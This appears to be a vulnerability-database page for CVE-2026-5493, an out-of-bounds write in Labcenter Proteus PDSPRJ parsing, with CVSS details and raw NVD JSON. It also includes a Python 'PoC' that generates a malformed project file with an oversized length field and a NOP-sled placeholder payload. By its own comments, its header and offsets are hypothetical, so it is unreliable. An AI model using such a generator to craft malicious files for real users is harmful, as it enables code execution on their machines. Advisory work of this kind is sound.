Security Vulnerability Report
中文
CVE-2026-5493 CVSS 7.8 HIGH

CVE-2026-5493

Published: 2026-04-11 01:16:18
Last Modified: 2026-04-27 17:48:06

Description

Labcenter Electronics Proteus PDSPRJ File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Labcenter Electronics Proteus. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of PDSPRJ files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-25718.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:labcenter:proteus:8.17:sp5:*:*:*:*:*:* - VULNERABLE
Labcenter Electronics Proteus (具体版本请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct import os # Proof of Concept Generator for CVE-2026-5493 # This script generates a malformed PDSPRJ file designed to trigger the Out-Of-Bounds Write. # Note: Specific offsets and payload structure require binary analysis of the target version. def generate_malicious_pdsprj(filename, payload): """ Creates a malformed PDSPRJ file. """ # Header simulation (Actual header bytes may vary based on Proteus version) header = b'PROTEUS_PROJECT_FILE' # Padding to reach the vulnerable parsing logic # This offset is hypothetical and needs adjustment for actual exploitation junk_data = b'A' * 0x100 # Constructing the data that triggers the overflow # We assume the parser reads a length field and copies data without checking bounds overflow_trigger = struct.pack('<I', len(payload) + 0x200) # Fake large length with open(filename, 'wb') as f: f.write(header) f.write(junk_data) f.write(overflow_trigger) # Write the payload that will be written OOB f.write(payload) # Fill rest to ensure file structure is partially valid until crash f.write(b'\x00' * 0x500) if __name__ == "__main__": # Sample payload (NOP sled + Shellcode placeholder) # In a real scenario, this would be specific to the OS architecture (e.g., x86/x64) payload = b'\x90' * 100 + b'\xCC' * 4 output_file = "exploit_CVE-2026-5493.pdsprj" generate_malicious_pdsprj(output_file, payload) print(f"[+] Malicious file generated: {output_file}") print(f"[+] Please open this file in Proteus to trigger the vulnerability.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5493", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:18.427", "lastModified": "2026-04-27T17:48:05.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Labcenter Electronics Proteus PDSPRJ File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Labcenter Electronics Proteus. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of PDSPRJ files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-25718."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:labcenter:proteus:8.17:sp5:*:*:*:*:*:*", "matchCriteriaId": "02C6A9A8-9638-4E28-B3D4-5E16A9C36AB6"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-255/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}